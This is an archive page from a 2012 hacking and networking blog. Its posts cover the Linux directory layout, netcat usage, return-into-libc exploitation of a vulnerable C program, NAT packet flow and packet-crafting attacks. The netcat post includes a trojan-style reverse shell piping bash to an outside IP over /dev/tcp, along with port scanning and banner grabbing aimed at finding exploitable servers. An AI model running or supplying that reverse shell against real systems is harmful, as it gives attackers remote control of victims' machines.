PoiNtEr->: August 2012

                             Difference between a dream and an aim. A dream requires soundless sleep, whereas an aim requires sleepless efforts.

Search This Blog

Sunday, August 26, 2012

Linux Directory Structure (File System Structure)

                             Linux Directory Structure (File System Structure)

 

1. / – Root

  • Every single file and directory starts from the root directory.
  • Only root user has write privilege under this directory.
  • Please note that /root is root user’s home directory, which is not same as /.

2. /bin – User Binaries

  • Contains binary executables.
  • Common linux commands you need to use in single-user modes are located under this directory.
  • Commands used by all the users of the system are located here.
  • For example: ps, ls, ping, grep, cp.

3. /sbin – System Binaries

  • Just like /bin, /sbin also contains binary executables.
  • But, the linux commands located under this directory are used typically by system aministrator, for system maintenance purpose.
  • For example: iptables, reboot, fdisk, ifconfig,netstat

4. /etc – Configuration Files

  • Contains configuration files required by all programs.
  • This also contains startup and shutdown shell scripts used to start/stop individual programs.

5. /dev – Device Files

  • Contains device files.
  • These include terminal devices, usb, or any device attached to the system.
  • For example: /dev/tty1, /dev/usbmon0

6. /proc – Process Information

  • Contains information about system process.
  • This is a pseudo filesystem contains information about running process. For example: /proc/{pid} directory contains information about the process with that particular pid.
  • This is a virtual filesystem with text information about system resources. For example: /proc/uptime

7. /var – Variable Files

  • var stands for variable files.
  • Content of the files that are expected to grow can be found under this directory.
  • This includes — system log files (/var/log); packages and database files (/var/lib); emails (/var/mail); print queues (/var/spool); lock files (/var/lock); temp files needed across reboots (/var/tmp);

8. /tmp – Temporary Files

  • Directory that contains temporary files created by system and users.
  • Files under this directory are deleted when system is rebooted.

9. /usr – User Programs

  • Contains binaries, libraries, documentation, and source-code for second level programs.
  • /usr/bin contains binary files for user programs. If you can’t find a user binary under /bin, look under /usr/bin. For example: at, awk, cc, less, scp
  • /usr/sbin contains binary files for system administrators. If you can’t find a system binary under /sbin, look under /usr/sbin. For example: atd, cron, sshd, useradd, userdel
  • /usr/lib contains libraries for /usr/bin and /usr/sbin
  • /usr/local contains users programs that you install from source.

10. /home – Home Directories

  • Home directories for all users to store their personal files.
  • For example: /home/vishal, /home/rohit

11. /boot – Boot Loader Files

  • Contains boot loader related files.
  • Kernel initrd, vmlinux, grub files are located under /boot
  • For example: initrd.img-2.6.38-10-generic, vmlinuz-2.6.38-10-generic

12. /lib – System Libraries

  • Contains library files that supports the binaries located under /bin and /sbin
  • Library filenames are either ld* or lib*.so.*
  • For example: ld-lsb.so.3 ,libproc-3.2.8.so

13. /opt – Optional add-on Applications

  • opt stands for optional.
  • Contains add-on applications from individual vendors.
  • add-on applications should be installed under either /opt/ or /opt/ sub-directory.

14. /mnt – Mount Directory

  • Temporary mount directory where sysadmins can mount filesystems.

15. /media – Removable Media Devices

  • Temporary mount directory for removable devices.
  • For examples, /media/cdrom for CD-ROM; /media/floppy for floppy drives; /media/cdrecorder for CD writer

16. /srv – Service Data

  • srv stands for service.
  • Contains server specific services related data.
  • For example, /srv/cvs contains CVS related data

 17./run – Application State Files

  • The /run directory is fairly new, and gives applications a standard place to store transient files they require like sockets and process IDs. 
  • These files can’t be stored in /tmp because files in /tmp may be deleted.
 

Friday, August 24, 2012

Netcat - The Swiss Army Knife

In order to protect yourself against attacks that are performed by netcat, one have to understand how it works. Learning about how netcat attack is carried out can be helpful to help you protect yourself from attacks that are performed by netcat.
Netcat is a small utility that is able to read and write data across TCP and UDP network connections. This tool can be used for many cool things, such as backdoor, port scanner, port listener, port redirector, transferring files, grabbing banners and more. Netcat is often referred to as the Swiss army knife, of course for good reason just like the multifunction usefulness of the vulnerable Swiss army pocket knife.
Well it remind me of summer of 2009, when  i came to known about this utility and you seriously  wont believe that today i have more then 30 nc commands on my script folder and i use them very frequently  , i have discovered different ways to use this utility and they are unique you can also do that . From banner grabbing to RAT,numerous possiblities are their just think yours and post below as comment .

By default, netcat creates a TCP socket either in listening mode (server socket) or a socket that is used in order to connect to a server (client mode). Actually, netcat does not care whether the socket is meant to be a server or a client. All it does is to take the data from stdin and transfer it to the other end across the network.

The simplest example of its usage is to create a server-client chat system. Although this is a very primitive way to chat, it shows how netcat works.

so now its time to try some examples. In examples i ll mostly using my local server Eva.localhost but you can use what ever you want in place of that:

1:Opening a raw connection to a port

nc eva.localhost 22

2:Transfering Files
it can be used to transfer files between two computers. You can create a server that serves the file with the following:
 cat vishal.jpg | nc -l 4444

Receive vishal.jpg on the client machine with the following:
  nc 192.168.0.1 4444 >vishal.jpg

3:Transporting Partition Image
 dd if=/dev/hda3 | gzip -9 | nc -l 4444

On the remote machine, connect to the server and receive the partition image with the following command:
nc 192.168.0.1 4444 | pv -b > partition.img.gz

4:Telnet-like Usage
Netcat can be used in order to talk to servers like telnet does. For example, in order to get the definition of the word “server” from the “WordNet” database at the dict.org dictionary server, I’d do:
  nc dict.org 2628



5: Setting up a  webserver
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat  coconut; } | nc -l -p 8087


6:Port Scanning
nc -z 192.168.0.1 20-80

whenever this z flag is set then nc do not initiate a connection on a port it just check for open ports.


7:Proxy
nc -l 8084 | nc Eva.localhost 80

So what is going to happen is that my nc server running on 8084 will be transfer all connection to Eva.localhost sever at port number 80.
Now all request will be sent but problem is that how we are going to recieve a reply from Eva.localhost.So for that purpose we will use backpipe
 nc -l 8084  0<backpipe | nc Eva.localhost 80 1>backpipe

8:Port Forwarding
nc -l -p 80 -c ' nc -l -p 8080'

9:Banner Grabbing
nc -v  Eva.localhost

Finally I got information that the server is running Apache2.2.22(ubuntu)
Now i can search for vulnerabilities if their are any with this specific version.

10: Backdoor(Convert nc to a trojan horse or RAT to exploit a system)
 Machine A(hacker): nc -l -n -vv -p 8083
 Machine B(Victim Running our Trojan):/bin/bash -i > /dev/tcp/173.214.173.151/8083 0<&1 2>&1


11:Chat
server:nc -v -l -p 54656
Client:nc -v Eva.localhost 54656




Friday, August 17, 2012

Computer Network Notes

Computer Network Notes And Solution Of Tenenbaum
Pass:vishalmishra


Thursday, August 16, 2012

Hacker's Diary "V" - Arc Injection

The  exploit for a get password program modifies the return address to change the control flow of the program (in this case, to circumvent the password protection logic). This technique, which is known as arc injection (sometimes referred to as return-into-libc), involves transferring control to code that already exists in the program's memory space. Arc injection refers to how these exploits insert a new arc (control-flow transfer) into the program's control-flow graph as opposed to injecting code. More sophisticated attacks are possible using this technique, including installing the address of an existing function (such as system() or exec(), which can be used to execute commands and other programs already on the local system) on the stack along with the appropriate arguments. When the return address is popped off the stack (by the ret or iret instruction in IA-32), control is "returned" to an attacker-specified function. By invoking functions like system() or exec(), an attacker could easily create a shell on the compromised machine with the permissions of the compromised program.
Worse yet, an attacker can use arc injection to invoke multiple functions in sequence with arguments that are also supplied by the attacker. An attacker can now install and run the equivalent of a small program that includes chained functions, increasing the severity of these attacks.
 Program that is vulnerable to a buffer overflow is shown below. User-supplied data in user_input is copied to the buff character array on line 4 using memcpy().A buffer overflow can result if user_input is larger than the
 1. #include <string.h>
 
 2. int get_buff(char *user_input){
 3.   char buff[4];

 4.   memcpy(buff, user_input, sizeof(user_input));
 5.   return 0;
 6. }

 7. int main(int argc, char *argv[]){
 8. get_buff(argv[1]);
 9. return 0; 
10. }
 
buff buffer. Figure 1 (a) shows the contents of the stack before execution of the get_buff() function. The stack consists of the local variable buff, followed by the frame pointer (ebp) and return address (eip) for main(). Below this is the actual stack frame for main() (which is referenced by the stored frame pointer).
Figure 1 (b) shows the contents of the stack after an attacker has overflowed buff to overwrite the contents of the stack. This portion of the stack has been completely overwritten by the overflow.
An attacker may be able to place data in the actual buffer, but in this example we'll assume that the buffer is overwritten with fill characters. The frame pointer for main() has been overwritten with a frame pointer for Frame 2. This entire frame has been manufactured by the attacker as part of the exploit. When the exploited function (get_buff()) returns, it executes one of two equivalent forms of the frame pointer-based return sequences shown in Figure 1 (c). Regardless of which form is used, the frame pointer (now pointing to Frame 2) is moved into the stack pointer. Control is returned to the address on the stack, which has been overwritten with the address of an arbitrary function f(). This function is called and passed the arguments installed on the stack. The attacker must provide the appropriate number and type of arguments assumed by the invoked function. In Figure 1 (b), we assume that the function accepts a pointer to a string (for example, "system()"). Because the actual contents of the string also need to be provided, the string is placed on the stack after the actual arguments to the function.

Figure 1

When f() returns, it pops the stored eip off the stack and transfers control to this address. In this case, the eip has been overwritten with the address of the return sequence shown in Figure 1 (c). This sequence is usually the instructions generated for the return to the exploited function, but it can appear anywhere in the code segment for the process. The return sequence assigns the frame pointer (now pointing to Frame 3) to the stack pointer and returns control to the the next arbitrary function to be called (in this case, g()).
An attacker can repeat this sequence as required to invoke a sequence of functions to accomplish an exploit. The attacker could also reproduce the original frame contents on the stack to return control to main() after the exploit has executed.
An attacker may prefer arc injection over code injection for several reasons. Because arc injection uses code already in memory on the target system, the attacker merely needs to provide the addresses of the functions and arguments for a successful attack. The footprint for this type of attack can be significantly smaller and may be used to exploit vulnerabilities that cannot be exploited by the code injection technique. Arc injection is a data-based attack that cannot be defeated by making memory segments (such as the stack) nonexecutable.
Chaining function calls together allows for more powerful attacks. A security-conscious programmer, for example, might follow the principle of least privilege  and drop privileges when not required. By chaining multiple function calls together, an exploit could regain privileges, for example, by calling setuid() before calling system().

Sunday, August 5, 2012

Journey Of IP Packet Demystified

I sit in a private LAN connected to the Internet through a router. Because our network shares a single public IP address, we use NAT.
So when I request the page superuser.com that will generate many IP packets. Let's look at a single one.
A Packet Is Wrapped and Sent

IP Packet
Source: 172.31.46.50 (my IP)
Destination: 64.34.119.12 (superuser.com)
Now, my system is most likely set up similar to the one in question. I have my own IP address (172.31.46.50), a subnet mask (255.255.255.0) and a default gateway (172.31.46.1). Now, because my Destination field in my IP packet points to a network different than my own, it is sent to my default gateway (rather than to the computer directly).
But how can the packet get to the default gateway, if the Destination points somewhere completely else?
That's easy, because the we use the addressing of the Ethernet protocol for that. We just set our destination IP address in the IP packet and the MAC address of our default gateway as the destination in the Ethernet Frame.
Now that will make sure our default gateway gets the packet for superuser.com. Yay!
Now the gateway has our packet and could send it right on its path. But to make sure it will get the answer, it first need to replace the packet Source address (otherwise superuser.com would try to send the answer to some (possibly) non-existent device on their network. Now that wouldn't be very nice.)
So my router will place its public IP address in the Source field:
IP Packet
Source: 115.248.20.13  (my public IP)
Destination: 64.34.119.12 (superuser.com)
Now that same game goes on and on with all the routers on the world until the packet finally arrives atsuperuser.com and an answer is generated.
Answer IP Packet
Source: 64.34.119.12 (superuser.com)
Destination: 115.248.20.13  (my public IP)
Ok, the answer got to my router, now what? How does my router now know to send the answer to172.31.46.50?
Well, that actually works because we have only looked at the IP and Ethernet parts of the communication. What makes this work is the TCP part.
You most likely know that web servers usually run on port 80. IP has no notion of ports. That comes from TCP. In TCP we have (like in IP) a source and destination port.
My TCP Packet to superuser.com
Source: 172.31.46.50 (my IP)
Source Port: 11111 (the port my computer made up)
Destination: 64.34.119.12 (superuser.com)
Destination Port: 80
Now your router uses that to manage the whole thing.
When he sends that initial package (that's addressed to superuser.com on port 80), he will put a new source port in there (like 12345).
And this is the important part! He will remember that replacement!
My router's TCP Packet to superuser.com
Source: 115.248.20.13  (my public IP)
Source Port: 12345 (the port my router made up)
Destination: 64.34.119.12 (superuser.com)
Destination Port: 80
So the answer packet received by the router actually looks like this:
Answer TCP Packet from superuser.com
Source: 64.34.119.12 (superuser.com)
Source Port: 80
Destination: 115.248.20.13  (my public IP)
Destination Port: 12345 (the port my router made up)
So now he gets that package and sees that it is for a port it previously remembered was assigned to NAT operations for IP address 172.31.46.50 (my IP address).
A Packet Is Unwrapped and Examined

Answer TCP Packet from my router
Source: 64.34.119.12 (superuser.com)
Source Port: 80
Destination: 172.31.46.50 (my IP)
Destination Port: 11111 (the port my computer made up)
So it sends me the answer.
Pretty Cool huh .

Saturday, August 4, 2012

Hacker's Diary "End Of Transmission"


What is packet crafting?

Crafting, by definition, means to make or create something skillfully. As we know, all the vulnerability assessment tools used by network administrators to test the security of their networks are both a blessing and a curse. This is because the same set of tools can also be used by evil hackers to find vulnerabilities and then exploit those to their benefit. Packet crafting, too, is not an exception to this rule, and since it is a technically advanced yet complex type of vulnerability exploitation, it is difficult to detect and diagnose.

 Let’s understand each of these steps a bit more in detail.

Packet assembly

This is the first step in the crafting process, wherein an attacker decides which network needs to be cracked, tries to gather possible vulnerability information and creates or fabricates the packets to be sent. This packet is then checked for accuracy, especially to ensure that the attack is as “invisible” on the network as possible, to go undetected.
For example, the packet being created can have a spoofed source address and a dummy TCP sequence number. The assembly of a packet need not be done from scratch; a packet going over the wire can be captured and its contents can be modified to serve the hacking purpose.

Packet editing

In this step, usually a dry run on the assembled packet is tested and based on the results gathered, and the packet is tuned up or corrected before moving to the next step. In the editing phase, the focus is usually to gather the maximum amount of information by injecting the minimum number of packets into the network.
For example, to test how a firewall responds to malformed packets, a simple packet with a false source IP address and with ACK field bit set can be created. In ideal situations, the firewall should drop such a packet.

Packet playing

Once the correct packet or a stream of packets is created, “packet playing” sends it onto the network, and collects the resultant packets to perform further analysis and corelation. This is when an actual attack is performed. If the expected outcome is not achieved, hackers go back to the editing phase to change the attack scenario.

Packet analysing

In this process, the packet streams are gathered to decode the presented response by the target network. Attackers may use simple packet sniffing tools for this purpose, or can capture the packet streams in the form of a log file and analyse it. This step either provides evidence to the hackers that they were successful in penetration, or at least gives them enough inputs to tune up the attack, or change their methods.

Packet crafting techniques

As seen above, the whole idea behind packet crafting is to try to simulate an attack, thus learning the behaviour of various network devices in order to gain knowledge about the vulnerabilities. Crafting is typically used to invade into firewalls and intrusion detection devices, but can also be used to attack Web servers and other application gateways.


A few common packet crafting techniques are:

  • Ping fragmentation
  • Packet flag manipulation
  • Packet duplication
  • Protocol manipulation   
  • Half open packets.